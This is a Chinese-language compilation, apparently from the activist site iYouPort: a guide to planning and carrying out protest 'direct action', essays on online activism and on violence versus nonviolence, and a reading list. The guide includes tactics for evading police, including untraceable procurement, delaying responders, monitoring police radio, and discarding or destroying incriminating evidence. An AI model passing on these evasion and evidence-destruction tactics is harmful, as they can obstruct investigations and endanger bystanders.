1、规划 —— 研究背景，制定战略，为不同的情况制定计划

「图」

适当的规划是安全、有效的直接行动的本质。📌 牢记您的目标和优先事项、以及您所拥有的资源，规划和比较不同的战略。权衡每一种战术的风险和潜在的回报：总是选择最安全的方式来完成给定的目标，并确保您能承受得起您选择的风险。

📌 有时会发生这样的情况：随着规划过程的进行，一个项目会变得越来越雄心勃勃，越来越冒险，直到一些参与者开始产生怀疑；这时，可能需要制定一个更安全的或缩小的计划版本，这样它仍然可以进行。

📌 在规划中，有无数的因素需要考虑。您必须根据当前的社会和政治形势选择最有效的战术。您必须选择最佳的行动地点，并考虑到它的所有属性；您必须选择最佳的日期和时间。您必须考虑到其他将在该地区的人，以及他们将如何反应—— 他们是同情您，还是可能存在敌对以干扰您的活动？您必须协调行动中不同部分的时间，预测每个部分需要多长时间，并弄清楚参与行动的人将如何沟通。

📌 在预测其他人—— 比如说，警察—— 的反应时，要考虑影响他们的因素。如果您有出其不意的优势，那么这种优势会持续多久？会不会有很多人关注这个事件？会不会马上知道您在做什么？周围会不会有中产阶级的市民或记者，他们的存在会不会对当局的反应造成影响？根据以往警察在这种情况下的行为先例，他们的战术可能是什么？他们的上司是否希望他们对您下狠手，或者避免挑起事端？他们的沟通能力如何，他们的行动速度如何，他们的位置在哪里，他们会

走什么路线？

📌 不要低估简单的后勤事务的挑战，比如在紧张的情况下运送人员或通讯。也别忘了规划一个撤离战略。

因为计划很少会完全按照所制定的计划来进行，所以制定出针对不同情况的备用计划很重要。”如果，我们就；如果，我们就。” 心中要有几个不同的目标，以防您的第一选择变成不可能。有一个基本的沟通和决策结构，将帮助您做好准备，以应对与您想象中的任何情况都不同的情况。

小心不要让其他人因您的行动而处于危险之中；当局很可能会指控他们所掌握的任何人犯下最严重的罪行，所以既要让那些冒险的人安全地离开该地区，又要确保不能对其他人提出严重的指控。

📌 在某些情况下，您可以把多层次的小组聚集在一起，每个人都知道大致的目标，但只有少数人知道关键的细节，比如具体步骤是什么、或谁来进行最危险的活动等—— 信任分级。

📌 对最好的情况和最坏的情况都要做好准备。新的想法，如果是好的想法，往往会失败，只因为人们对这些想法的理解不够深入，而旧的想法会失败的原因是大家对这些想法太熟悉了，包括当局！

有时，最好的结果来自于在全新的环境中应用熟悉的战术。

回头看看有没有先例，在类似的环境下尝试类似行动的场合。这些可以起到很好的指导作用。当您积累了多年的经验，并从别人的成功和失败中学习时，您将发展出预测和准备各种情况的技能。（在我们的 列表-5 中看到 “技巧、策略和原理”，以及镇压者的行动模式 “维稳面面观”，还有其他活动家的创意 “反抗者寻求经验”）

2、准备工作 —— 准备好装备和适当的服装

「图」

一旦您的计划制定好了，就画出一个时间表，直到您的行动，从大日子开始倒数，确定所有必须到位的环节的最后期限。

📌 在计划的早期，确定您需要哪些资金、材料和其他资源，以及如何获得它们。如果安全是优先考虑的问题，要以一种无法追踪到您的方式获得您所需要的东西。

确保每个人都有适合行动的衣服，包括必要时分层穿上不同的衣服 —— 以帮助您在撤离时甩掉尾随者。

📌 考虑到与服装有关的安全问题：如果大家为了匿名而穿黑衣服，要确保任何人的衣服都没有独特的可识别性特征；同样，如果您要随机冒充路人，请记住，您家乡城市的平民服装可能与其他城市不同。如果时间很重要，请确保每个人的手表都是同步的。

仔细检查，确保在截止日期前一切准备就绪。如果参与者对准备行动的地区不熟悉，要先分发地图。如果需要的话，在行动前在该地区放置必要的材料—— 注意在此过程中不要泄露任何东西！

3、侦察—— 研究行动现场，掌握变化情况

「图」

📌 行动前，仔细研究该地区。画出进出的安全路线；寻找藏身之处、障碍物、潜在目标和监视摄像头（包括自动取款机和红绿灯内的摄像头）。

📌 注意关键距离需要多长时间，并注意关键地点的能见度。当局离我们有多近，他们需要多长时间才能到达？他们的接近会不会延迟？可不可以制造障碍让他们延迟？该地区还有哪些人？……

在侦查时，注意不要引起别人的注意，也不要留下明显的经过记录。确保至少在计划行动的同一时间进行部分侦查，如果可能的话，在行动前再次进行快速检查，以确保没有任何变化。行动者的记忆力非常重要！侦查好的信息必须牢记在脑子里，您不可能一边看地图一边行动。

如果您的行动需要完成艰巨的任务，比如爬上陡峭的屋顶，不妨在某个时间点进行实际的练习。

📌 还可以从照片、地图和小册子中收集信息；可能会有航空地图或蓝图。在某些情况下，您可以从旅游中心获得信息，或者打电话，借口提问（例如作为学生想做报告，随便编什么都行），甚至接受导游的指导。一旦您收集了大量的信息，将重要的部分整合成适合您的地图会很有帮助。要注意安全地处理所有文件和文书工作。

4、角色 —— 划分责任，建立决策结构

「图」

确定完成您的计划所需的所有角色，并确保每一个角色都得到填补。

📌 一些潜在的角色包括：

- 哨兵 —— 发现危险信号时能及时做出反应并安全地通知其他人；
- 侦查军—— 侦查者先行，并对地形做出判断，以制定最合理的下一步计划；
- 媒体发言人 —— 确保媒体不会歪曲您的行动，发言人很重要，尤其是确保媒体的报道能覆盖您需要呈现给公众的意义和价值；
- 自己的媒体管理员—— 负责在行动过程中记录真相，包括行动者的做法，也包括警察的行为，并有经验安全地保存和呈现记录；
- 法律援助联系人—— 在有队友被捕的情况下需要联系的人；
- 法律观察员—— 要熟悉法律，尤其是熟悉法律漏洞，以帮助行动者尽可能避免被起诉；
- 医护协作—— 如果有人受伤时，必须联系的人；
- 掩护者—— 负责吸引镇压者的火力，以掩护行动尽可能多地持续，这一角色的队友需要具备足够的逃生技能；
- 自己的旁观者（例如，伪装成路人的队友，可以在必要时进行干预，或者在路障竖立在他们面前时礼貌地鸣喇叭）—— 引导公众、并分散镇压者的注意力，还能调动真正的旁观者的情绪；
- 逃亡时需要的司机—— 驾驶技术必须足够好；
- 运送物资的人 ；
- 接受信息和做出战术决策的负责人 ；
- 进行实际行动的人。

📌 在某些情况下，明智的做法是在重要的角色上安排替补队员，以防在最后一刻发现有人不能参加。如果您事先不知道行动的日期会是什么—— 例如，如果它与您无法事先预测的事件相吻合，如政治犯宣布判决的日期或宣战日—— 则更是如此。

5、考虑行动对他人的影响方式

「图」

如果您的行动是在一个较大的活动期间或作为其一部分进行的，那么

可能会有一些大型会议，不同的团体会在这些会议上试图协调他们的努力。这些会议可能是有用的，但它们往往会消耗大量的时间和精力，所以确保您在参加会议时清楚地知道您希望达到什么目的。

📌 无论您是在数千名其他活动家中间行动，还是在远离任何人的地方行动，都要考虑到您的行动将如何影响其他人。会不会危及他人？会不会引起警察的镇压？如果会，其他人是否会首当其冲，是否有可能抵消这种影响？您的行动会不会使其他人在某个社区做重要工作时更加困难？在行动前、行动中或行动后，您是否应该进行谈判或做出保证？

尊重您与其他团体达成的所有协议；有些人可能愿意帮助您，不管是否知道您所做的具体细节。随着时间的推移，如果您证明了自己的可靠和体贴，您就会与他们建立联盟。

行动期间和之后

「图」

1、意识 —— 在整个行动中保持警惕

「图」

📌 意识是任何行动成功的关键。通常情况下，气氛会很快发生变化。重要的是要跟上您周围发生的事，并事先确定您将如何对某一情况作出反应。

例如，一辆警车的到来是大事吗？那十辆呢？在这个城市里，警察尾随游行者是常见的事吗？虽然您永远无法确定到底会发生什么，但提前回顾可能发生的所有情况，并了解您的小组想如何处理这些情况，将使每个人对如何应对—— 以及如何避免过度反应—— 有一个更坚实的想法。

📌 在向他人通报事态发展时，要公布原始信息，而不是您可能从中得出的结论（是“警察正在戴上防毒面具”，而不是“他们要毒死我们！”），这样其他人就可以得出自己的结论。

📌 抵制惊慌失措的冲动，也要抵制得意忘形的倾向。

2、沟通—— 互相通报情况

「图」

在行动中，侦察员可以跟踪地形的变化做出反应，如警察的到来、人群的流动、附近其他人的活动和安全区等。他们可以使用通信系统，如一次性电话、加密短信、双向无线电、或哨子来保持联系；也可以使用音频或视觉信号，如汽车喇叭或烟花。警用扫描仪可以用来监控警方的通讯。

📌 为了提高通信效率，侦察员可以向行动中心的个人或分队报告；在更大的环境中，他们可以将自己的发现打电话给一个中央信息枢纽，其他人可以带着问题打电话给这个中心。

📌 就像通讯设备可以让您更有效率和效益一样，它也增加了被监视的风险。您可以使用代码和假名，但要慎重—— 复杂的代码很容易被遗忘，检察官可以辩称您的代码比实际意义更激烈。

📌 即使没有使用其他通信系统，在紧急情况下选择一个 “中止” 信号也是有用的。比如间谍的常见做法，在一辆车子上挂一个特殊的标记—— 情报行动前所有参与者都理解这个标记，让其他人都不理解，然后开着车子途径行动者出没的地区，以提醒人们 “行动中止”。

3、分散—— 撤退

「图」

安全逃生是直接行动组织中最常被忽视的部分。一定要事先制定好退出策略。

如果您将在一个大的团体中，特别是和其他没有参与策划过程的人一起工作，想想如何避免从众心理，保持表达自己的权利。

📌 知道什么时候应该按捺住自己的优势，什么时候该退出—— 什么时候该跑得越快越好，什么时候应该不紧不慢地走。

📌 丢弃任何可能使您入罪的东西，如果可能的话，把它放在一个不会被发现的地方；等到您确定甩掉了监视跟踪时，再回来取。

如果需要，事后在一个安全的地方集合，确保每个人都有交代；寻求外界援助，写新闻稿。趁着每个人都还在，获取任何可能出庭作证或提供文件以协助被捕者的人的联系信息。

4、汇报—— 重新聚集在一起，讨论什么是成功的，什么是可以吸取的教训

「图」

📌 行动结束后，销毁任何可能对您不利的证据；将可能与行动有关的工具放在隐蔽处。

📌 如果您在未来的某一天可能需要出庭作证，请考虑将您可能需要记住的所有细节写在一张纸上，并将其藏在某个您可以确定永远不会被其他人发现的地方。

在一个安全的环境中聚在一起，复述发生的事。跟进正在进行的事，比如支持那些有法庭案件的人，向公众进一步澄清行动背后的目标和想法，以及整理冲突。

庆祝你们的胜利，互相提出建设性的批评，从错误中学习，并为下一个项目制定计划。

最后

「图」

IYP 近期延续了多个行动主义主题的系列，从 “整体安全”、到 “行动主义”、到 “信息行动主义”、再到 “示威者指南”，（所有这些链接都是最近的一集，其中包含过往内容列表）；这些系列的侧重点不同，它们的目标都是一样的，尤其是，它们必须使用我们曾经一直以来不断介绍的各种其他知识 —— 只是当时看起来似乎像 “其他” 而已。

📌 本文也一样。其中所有嵌入的链接都很重要！那是关于具体做法。

没有哪种知识是单独存在于空气中的，它们会互相形成一个或多个不同的系统，以支持不同的目标（就连警察的审讯技巧培训手册也完全可以作为活动家抵御审讯诱导的秘笈，反着用就行了）。

📌 换句话说，您必须有一个目标，有一个内心志向，这样您在接触到知识和技能的时候就能有意识地去捕获最有利于您的那部分内容，并充分地和有效地使用它们。

对于行动主义来说，我们无法说的太详细，原因您懂的，正如您使用

警察审讯培训手册来抵御审讯那样，您的对手也在拼命挖掘我们提供的信息以期掌握行动者的模式。我们能做的最好的事就是，把框架教给您，以供您用各种创造力去填充它，给您的对手一个出其不意。

直接行动不是游戏，不是举牌子那么简单，但它是最可能有效的模式；它要求实践者必须具备足够的知识和技能，以及心理素质和应变能力，这需要日常的训练。希望我们提供的内容 —— 不论是教程系列还是书籍资源 —— 可以帮助您提升最值得提升的部分。

本文内容涉及到的其他资源可以在这里下载：https://www.patreon.com/posts/zhi-jie-xing-fen-45929380

1. 行动技巧 (1)

原文

什么是无用的觉醒 - iyouport

社会反抗和思考社会运动和公民社会行动技巧、战术和原理

【2019年3月18日存档】人们经常兴奋于”民间觉醒”，但是有一种醒悟是完全无用的： 社交媒体的”智者”们和异议群体的内部互掐其结果是什么？

我们正处在一个令人惊讶的和危险的时期，这多年来造成如此深刻创伤的长期社会问题，正在被视为迫切需要迅速被大众所关注。

正如许多人被这些政治痼疾“惊醒”一样，似乎人们顿悟了，懂得了其中最深刻的道理。但是，有一种非常广泛的“醒悟”是完全无用的，为什么？

在许多社会正义领域，特别是在线领域，已经变成了一种游戏般的竞技场，在那里，人们争先恐后地关注这谁最先“醒”来，然后互相辱骂“傻逼”—— 他们认为行动主义只是在于挑战其他人的沉闷。

然而，如果我们想要在打击破坏我们生活和环境可居住性的统治形式方面取得真正的进展，那就必须找到相互支持的方法，学习如何共同努力以促进社会变革。

其中一些方法与对刚刚进入状态的人的关怀和帮助有关；另一些与认识到我们面临什么和需要挑战什么样的制度结构相关的东西有关，而不仅仅是关于身份和人际交往。

随着人们对世界政治的错误感到沮丧，他们已经开始看到隐藏在社会现实背景下的权力模式和结构。希望在此之后，他们能够找到一种方法来理解并将其转化为行动，以建立一个更美好的世界。

当一切都能进展顺利时，这种参与可以成为一个人生活的积极方面。挑战主流，大胆地相信一个人可以有所作为，投入时间去挑战权力并不容易。而当人们认为自己是数百万人或者更大团队的一员时、自己和所有人一起正在建立一个更美好的新世界时，他们就会坚持下去，并成功地发挥作用。（具体分析详见：《为什么越是威权主义的国家

人们越是难以联合反抗》）

这就是在我身上发生的事。我在1980年被政治化，反对美国支持萨尔瓦多的独裁统治。我很快就参与到讨论、阅读和分析的群体协作中来，而最终的成功加深了我的意识，与那些成为亲密朋友和盟友的伟大人物接触，丰富了我的生活。

然而，现在的问题是，许多即将清楚地了解到问题所在的人不会采取有意义的行动，甚至投身于维护恶劣生态的环境系统中。最近，我遇到了很多年轻人，他们非常了解他们所存在的统治体系是什么样，但是，他们发现支持“社会变革”的群体存在很多弊端，他们没有成为活动家。或者即便参与了，也会在短短的几年后就离开。

在中国，目前为止依旧有很多人得意于“民众觉醒”，但这种觉醒的结果如果只是陷入了虚无和无力感，而不是奋起反抗，那么它就没有任何意义。（目前，虚无是一种全球性的气氛，详见《什么是高峰冷漠？从白宫到微信》）

如果不能与旨在改变社会模式的参与保持一致，那么觉醒并看到错误就没有任何好处。如果人们没有能通过参与发现收获，那么任何人都不会长期留在社会变革的工作中，从长远来看也无法产生真正的改变。不幸的是，有些人会与社会变革保持不健康的关系，就像火焰与飞蛾的关系那样，它只满足了精神需求，而没有治愈这种需要。

在进入批判意识之前，人们可能会对世界有一个既有认知，即按照给定的方式处理事物，并按照社会的要求定位自己以履行社会所提供的角色。这种对世界的定位使压迫系统永久化。巴西哲学家 Paulo Freire 认为，在进入批判意识之后，我们就会能看清权力的结构，看到自己的位置，成为能够改变社会的行动者，帮助我们打破那些根深蒂固的权力结构的死循环。

但是，当我们意识到社会系统中那些权力结构会使我们从根本上脱离彼此时会发生什么？Freire 在巴西农村地区开展了一些调查，与之合作的农民受到资本主义经济实践和来自政府的压迫。该系统拒绝他们进入自己生存所需的土地，通过暴力来控制土地。但那些农民并没有完全融入消费意识为主体的资本主义文化。他们生活在社区中，这些社区的结构具有深刻的统治模式，但也存在于社区间相互依存的复杂系统中。他们并没有在和我们一样的社会中长大，这个社会教导我们说存在的目的就是追求个人快乐和个人幸福。

在一个更为彻底的资本主义世界中，我们彼此之间的联系是由深层次

的断裂模式构成的，在这种模式中，我们认识到，世界各地的意义体系已被消费主义和个人主义完全殖民化，批判性思考遇到了一系列的新挑战。

人们在二十一世纪的工业化社会中“醒来”时经常会发现自己与其他人完全脱节。在超个人主义和消费主义的有毒文化中形成的意识可能使得很难找到解开权力结构的下一步必要步骤：即 采取有效的行动。（关于超个人主义和消费主义的后果《nobody cares 的背后》）

有效行动涉及与他人协调以改变社会模式。它涉及战略、涉及对往往遥远和难以捉摸的目标的行动。当事情似乎前途渺茫、并且进展不是特别令人满意时，人们需要坚持不懈。

它还涉及关系，所有这些都需要我们自己投资于与他人的集体协作。它涉及将协作视为比我们个性化的自我更重要的事物。最有效的社会变革工作要求我们从战略角度思考并采取大胆行动。这是关于我们如何改变社会结构，而不是关于我们如何做一个出色的自己。

我们根据自己作为被压迫群体成员的身份所经历的痛苦历史可以帮助我们看到我们所面临的问题的深度。当我们与这些团体的其他成员联系时，它可以帮助我们在深刻理解所面临的统治体系的基础上制定战略。

但是，我们为建立有效行动的运动所做的工作必须比个人成就更重要。

当社会变革工作如愿完成时，参与其中的人会能得到令人难以置信的巨大安慰。许多社会正义工作涉及将我们的个人痛苦置于更大的统治体系背景中，并努力改变那些伤害我们的事物。

于是，不是将自己看作受害者，而是作为社会变革的推动者，可以帮助我们开发新的赋权自我叙述，作为大规模疗愈过程的一部分。在那项工作中，有不仅能治愈自己，而且能治愈世界。

如果只专注于自己的痛苦，将个体构建为孤独的受害者，实际上只能进一步加剧这种痛苦。当这项工作在没有与他人发展积极关系的情况下完成、也没有对变革采取最实际的行动时，就会导致进一步的孤立。

我们认为中国的维权群体和遭受迫害的异议人士非常值得同情和帮助，但是，如果我们想要成功，这些群体就必需能改变追求个人安慰

的思考方式。

并且，不幸的是，为了社会正义的有效行动的发展、对于通过有效行动来推动变革而发展真实关系的艰苦而有益的工作，有一种诱人的旁路。这种旁路导致我们与被体制问题本身错误的共鸣：即 在社交媒体世界中茁壮成长的喧嚣政治。

在这里，“觉醒”的人把自己的“觉醒”只是当成了棍棒，去抨击那些没有像他们那般“觉醒”的其他人。他们参与的只是学者和活动家 Elizabeth Martinez 称之为压迫奥运会的东西。他们从中获得了一种自我正义感，使他们在短期内感觉良好。

但是，这种“正义感”完全无助于治愈他们的个人创伤、更不用说导致他们痛苦的社会创伤。

在谈到她对社会正义社区的幻灭时，作者 Kai Cheng 写道：

“我在当地社区变得非常有价值，因为我非常擅长使用正确的语言并做正确的事，而且当我搞砸了时，我倾向于毫无保留地道歉。我现在认识到这是一种创伤承受技能：能够不断准确地扫描周围人，以便了解他们并取悦他们，不论长期成本如何。这项技能是一个精彩的短期生存战略。正如大多数创伤策略一样，它仅仅旨在交涉惩罚的不可预测性和残忍性—而且不幸的是，许多社会正义深深植根于这种关于的惩罚叙事中。“

事实上这正是中国目前的问题，我们有着对当局实施惩罚的充分且深透的理解，这种理解能让我们之间产生强烈的共鸣，似乎我们只是一群受害者，而淡化了作为改变者的责任。

将社会正义工作建立在同情和对健康世界的追求上是至关重要的，而不是惩罚的危险本身。当我们担心如果自己被流放、被监禁或被杀害时，我们还有多大可能对自己负责？当我们生活在彼此的恐惧中时，我们怎能相互信任？

我们必须找到另一种实现正义的方法。

通过网上的嘴炮生活和尝试赢得“压迫奥运会”的彼此抨击并不是解决创伤的唯一方法，另一种方法是专注于我们正在努力创造的世界大局，并尽可能地尝试在我们的工作中实现这个世界。

在#BlackLivesMatter和#MeToo运动中，我们可以看到人们在线有一些形式的连接，可以有效地传播有用的想法，分享策略和改变文化意

义。但是，这两种运动在转变中发生了很多变化，当那些在网上流动得如此迅速的联系所释放的能量也被在当地实践社区工作的人们捕捉和调动，以实现共同的目标时。在面对面工作中形成的关系，也包括分享膳食、分享乐趣、互相依赖以获得相互支持，是对异化感和残忍经历的重要对抗。

我们许多曾经成为压迫系统目标的人都会遭到误解、沉默、暴力和贫困等创伤的伤害。社会正义工作的目的就是创造一个新的世界，在这个世界中，人们不会遭遇那些伤害，在这个世界中，我们改变了导致人们经历大部分创伤的社会系统。

这样做需要投入时间和精力与其他人建立积极的关怀关系，和他们一道参与有效的、深思熟虑的工作，以挑战统治体系。

社区就是答案。我们需要彼此，需要找到对方，才能生存。

中国的圈子不是社区，如果把某人赶出去比与他们进行一系列艰难的对话更容易，那么它就不是一个社区。在拥有真实社区的社会中，驱逐是最极端的制裁，无异于杀戮。在许多层面上，失去社区及其所涉及的所有关系，与死亡一样。〇

原文

你可能误会了的“暴力”和“非暴力” - iYouPort

心理学和社会学行动技巧、战术和原理

非暴力并不是唾面自干，而是一系列技巧，以帮助您更好地取得胜利

「图」

「图」

“暴力”、“非暴力”之辩在寻常网络议题中已很令人无语，但从心理学角度上看，我们平日最常见的观点有可能并不准确，尤其是概念。

暴力是情绪淤积的毁灭性释放方式。在极权定义的“爱”、“照管”、“处理”和“教育”等一系列扭曲人性、摧毁人际关系的幌子之下我们看不到暴力，能看到的只是血腥的肢体伤害、刑讯和维稳镇压。

暴力的释放无规律而且混乱，多数情况是为了自我保护，在人群之中受到紧张情绪感染的时候尤其容易发生，就像在右翼分子的聚集和足球场里经常能看到的那样。

暴力还披着法律、秩序、审判和命令的外衣，比如警察行为、战争、解放斗争、政治监控、迫害异议、迫害少数民族、或针对全体人民的镇压。

暴力常常是一种介于恶行（谋杀）、法治国家的合法判决（死刑）和特定的有明确规定的行为（拳击、医学手术）之间的道德问题。它的界定从来都是暧昧不清的，有时也可以是一个政治意识形态的问题，或者伦理问题，因此才会产生有关堕胎和安乐死等议题的激烈讨论。

暴力喜欢披着具有煽动蛊惑性的意识形态外衣，采用强迫性掩饰手段，将施加于自然、动物和人的暴力行径美化成为高尚而有意义的行为。

所谓“无暴力”也只是一个定义的问题。但值得注意的是这种要求大

家不要采取暴力行为的大氛围。不要使用暴力，这在政治策略和人道主义原则方面很容易理解，但我们经常能看到的却是，劝告说大家不要使用暴力的动机非常可疑。

它巩固了一个后果严重且广为流传的错误看法，那就是将暴力和攻击性等同起来了。所以一些人要求无暴力是基于道德上的不接受攻击性，而很多人也是这么感觉的。但很显然这是错误的理解。有目的的人和组织会劫持高贵的伦理价值，令其被道德和意识形态所利用，其目的是为了抑制合理的情绪，而这种情绪得以表达才可能是克服危机、解决矛盾、实现社会真正变化所必需的前提。

为什么 “非暴力 ”如此重要？一个郁积了几十年的合理攻击性而不能发泄的民族就像是一颗没有计时器的定时炸弹，随时随地都可能引爆。为了避免点燃导火索，权力认为宣誓、自制和纪律这些模式都是非常必要。包括手抄党章。但是，对“放弃暴力”的持续劝诫恰恰证明了暴力倾向的存在。如果劝诫成功了，那么成果是什么呢？现在已经存在的攻击性潜能会主要体现在不断强化的极端主义和国家主义、不断增长的犯罪率，和持续增加的非正常性死亡之中，它存在于我们寂静街道上不断加速的购物狂潮之中，在社交网络不间断且毫无意义的谩骂当中，在虚无主义和悲观绝望的逃避心态里。

每当出现“报复社会”事件，都会引来舆论场两极分化的嘴仗，然而高举伤害厌恶的所谓理性派总是会将定义暴力为抗争的革命派边缘化，其实双方都有望文生义的问题。

愤怒和仇恨的感情是在家庭与国家相互压抑的作用中，通过从出生到教育、监管等所有步骤聚集而成的。它一方面是“理性的非暴力”，另一方面其实又再次内化并强化了我们早已存在的无法消除的攻击性，而且到目前为止还没有机会真正的释放积蓄已久的攻击性情绪。你可以把这种状况想象成一个眉开眼笑的火药桶，它是很可爱呢，还是更可怕？

有攻击性意味着接近、行动、坚持、实施、划界、保卫自己的东西，以及保持自主，但这种品质目前在政治和经济方面都很缺乏，因为制度和生存环境将人们感知内心的能力削弱甚至销毁了——攻击性是不需要鼓励或者动员的，通过鼓励和动员实现的很可能是暴力。

假设，当我们可以自由选举之后，又如何判断我们已经是自由的人呢？是否还在遵循这几十年来习惯于被实施的压迫机制？为了不陷入危险，不去激活那些真正毒害自身的情绪淤积，我们是不是依然将健康合理的攻击性一如既往地压制下来了呢？内心的创伤依然隐隐作

痛、令人焦躁，但我们通常情况下不愿去考虑这些，但这样却妨碍了我们进行开放清晰的讨论的能力，并且削弱了我们承认罪责和赎罪的勇气。于是很可能就无法反思过去了，也缺少了惩罚的力量。

如果我们不愿有意识地对恶行进行惩罚，也就必须持续无意识、漫无目的且低效地报复。

在庆祝 “拒绝暴力 ”的时候没能让人看到成熟的政治态度，反而暴露了我们表达方面的精神障碍。大多数人都不赞成暴力，但心理学是支持人拥有合理攻击性的。如果我们不愿意也不被允许有攻击性，那么暴力就必然会存在或发生。

前文中本网利用5个篇幅梳理了“极权社会的心理阴影”，这个国家中的大多数人饱受情绪淤积之苦，而我们日常表现出的“平和理性”就是谎言。当极端暴力突然且频繁的闪现，正是一个社会病变的症状。暴力之于社会，正如同脓疱之于身体：真正的问题不在皮肤表面，它作为外在的症状只不过是要说明身体内部出现了问题。要解决这个脓疱，光是把它展露出来是没用的，重要的是需要一个深层系统的运作方式。

因此，迅速遗忘、画上句号和免于清算都是很危险的建议，只会导致新的压制体系的出现，并且无法令痛恨和痛苦等情绪得到彻底自由的释放。

根据自然法则，自食苦果是一种充满攻击性的痛苦体验，我们只能选择将这种体验说出来或压抑下去，而无法拒绝感受。但很明显，压迫导致淤积，淤积又需要代偿、抑制和转换，形成另一个往复。

对合理攻击性的堵塞是极度畸形的，会对健康独立的生活、和共同生活能力造成影响。没有被释放的情绪势必会为自己树立起假想敌，在伙伴、家庭和社会关系中间释放“毒素”并破坏关系——互信度低下的社会是独裁者的最爱——这些情绪正是独裁教育、激进政治和严苛宗教的驱动力，而这三者的目标则是让人屈服于人，或屈服于一种 “更高的权力 ”。

自身体验到的愤怒和憎恨，才是唯一通往自我赎罪、宽恕他人的道路。没有这样一个必不可少的反思清理过程，所谓新方向就不能确立。连格林童话都在教育人们不要屈服于邪恶，要在清醒的状态下有效的释放攻击性，它是解放生活和开始新关系的必由之路。〇

附 —— IYP推荐的 **非暴力直接行动** 技巧系列：请注意

这里是本年度内的完整版列表，其中部分内容尚未发布：

- 如果没有基于当地的激进主义和前线观点，国家和全球的工作有时候就像一个没有电池的电动娃娃。你需要这两者《给活动家的建议：如何让你们的行动变得更强大—— 等待关注是肯定不行的》
- 倡导失败的原因是什么？《重要性需要被感知而不是被介绍》
- 没有任何一个组织或个人能够独自讲好一个故事。获得讲故事的预期效果需要在三个重要参与者之间建立更好的合作伙伴关系。《利用讲述故事推动社会变革的秘诀：更好的合作伙伴关系》
- 社会工作经常比技术工作更复杂，我们可能需要一点窍门《如何消解冷漠和虚无主义？》
- 在参加抗议之前、期间和之后，如何保护自己的安全？《指南：当您准备参加抗议活动...》
- 当压倒性的国家镇压使标准异议成为不可能时，你需要找到使普通行为具有颠覆性的方法《如果抗议是非法的，那就让日常生活成为抗议》；
- 愤怒是有力的。但要明智地使用它。如果你能占领道德制高点，愤怒才能是引人注目的，人们会加入你。如果你不这样做，你的愤怒会看起来像自以为是的歇斯底里...《不要让你的对手定义你》；
- “问题不在于夺取权力，而在于行使权力。”—— 《共识只是手段而不是目的》；
- “展示运动的广度、多样性和力量；你不需要把队友集中在同一个大目标上”—— 《分布式行动的街头派对》；
- “关于框架有一个基本的事实：如果你接受了别人的框架，你就输了”—— 《框架是一种权力》；
- “你永远不可能仅仅通过对抗现有的现实来改变这一切。要改变某些东西，你必须建立一个新的模型，使现有模型过时”—— 《预设性干预战术》；
- 为什么反抗运动很多，却收效甚微？互联网上的反对意见究竟是否能给当权者带来压力？《在社交媒体上”抗议”有什么问题？》；
- 如此多的示威游行为什么如此少地达成目标？《为什么街头抗议不起作用？》；
- 游击战的第一条规则就是了解你的地形—— 并利用它来发挥你的优势。中国活动家的颓唐或许来自某种注意力层面的错误.....《了解你的地形是策划行动的第一步》；
- 任何时候不要高估人们对你的观点和理论的兴趣。你应该希望

你的观众得出自己的结论，而不是你觉得他们有必要被告知思考什么。《展示，而不是告知：空降泰迪熊的大胜》；
- 如果您认为被捕是结束，那就真的错了。在反抗运动的世界里，死亡都不是结束。《真正的行动取决于你的目标的反应：战略柔术》；
- 政治艺术的目的就是体验它的人的反应《不手淫，要做爱：受众才是见证人》。
- 鱼虫子看起来很恶心，但是如果你想要的是美味的鱼，那么鱼虫就是必要的。《别让媒体为你的对手工作：创造性破坏》；
- “最后，让我们记住的不是敌人的话，而是盟友的沉默。”《以聪明的方式被捕：投标人和盟友的光谱》
- 要争取时间，抢在被维稳之前实现目标，你就需要节省掉解释和辩论所造成的消耗。《简单地压倒性—— 用行动说话：鞋子金字塔》
- “少数激进派行动者在敌人的领土上英勇就义，就像孤独的游击战士。也许能让某些人感到光荣，但是无疑，这是一次自杀任务”《自杀不是明智之举：警惕政治认同悖论》
- “如果真正的激进派发现长发会给沟通和组织活动设置心理障碍，他们就会减掉头发”《抗议行动不是广场舞：表达性和工具性的矛盾》
- 别死在笑眯眯的恶棍手中《影响与操控不是一码事：如何将另一个人变成你想要的样子？》
- 对真相的寻求和捍卫应该是一项事业，而不是企业；它应该服务于公民，而不是”消费者”。如果它本身不是民主的，那么它肯定无法服务于民主。就如集中化的互联网不是民主的，我们就必需打破它。《让它民主：在真相事业中构想未来图景（上）》
- 媒体不仅仅意味着一张报纸或一个网站。希望您能通过本文了解到反抗意味着什么、如何寻找社会空间以发挥反抗的能力、如何在身边开启民主实践《让它民主：替代媒体作为抗争之源（下）》
- “生活并不总是意味着持有好牌，但有时容易打得很差”《威胁感可能比事物本身更有效：战略性直接行动》
- 直接行动不是游戏；同归于尽的想法不会让你得到足够的支持《赴死不是英雄：冒险，但要小心》
- 要赢得一场运动，您需要正确地识别谁有权解决您想要解决的问题。《明智地选择你的目标：绘制权力地图》
- 肯定有一个最准确的词能指向胜利的目标。《更改一个名称以更改整个游戏：”我的语言”和取景框》
- “讯息纪律是行动实现沟通、清晰化、令人难忘、和步调一致的

艺术”《讯息纪律不是创造力的敌人：”每一次心跳都很重要”》
- 每一项新的动作都会再次强调更大的需求，并建立您的力量，以便采取下一个升级步骤。《有策略地升级：不要爱上战术》
- 活动家不仅需要有经验，也需要有知识。《先有组织而不是先有运动：Baraza 机制》
- 组织者必须意识到三种风险：多数人的暴政、集体主义思维、和解释学循环《唯一不变的就是变化：更新无止境》
- 抢走他们用来制伏我们的武器并改装，以制伏他们《以景观为武器：Détournement》
- 用笑声杀死他们《让你的对手陷入愚蠢滑稽：充气”武力”和反叛小丑军》
- 内裤也能成为武器？是的，只要它用在对的地方《内裤的力量：创造性行动和4点经验》
- 《7个以抵抗为主题的棋盘游戏，升级你的战斗技巧》 广告

原文

在抗议活动中，媒体作为叙事矩阵的操纵者 - iyouport

行动技巧、战术和原理

提醒抗议者组织在策划战术时必需意识到的重要问题

【按】这篇文章记录的是一份最新的研究，它很重要，但可能不意味着文章本身对媒体的喊话 —— 要求媒体做正确的事；我们觉得这可能很无用，尤其是考虑到这些媒体背后的金主都是现状的既得利益者，他们有维护现状抵制任何变革的强大动力。

并且，考虑到如今所有媒体都在互联网流量经济的齿轮上，记者和编辑首先考虑到的是文章能获得的吸睛度，也就是广告收入，而不是真正的社会和政治意义 —— 任何一场旨在推动变革的抗议都是非主流的，抗议者的支持者往往是社会边缘群体，他们都不是广告商垂涎的目标。

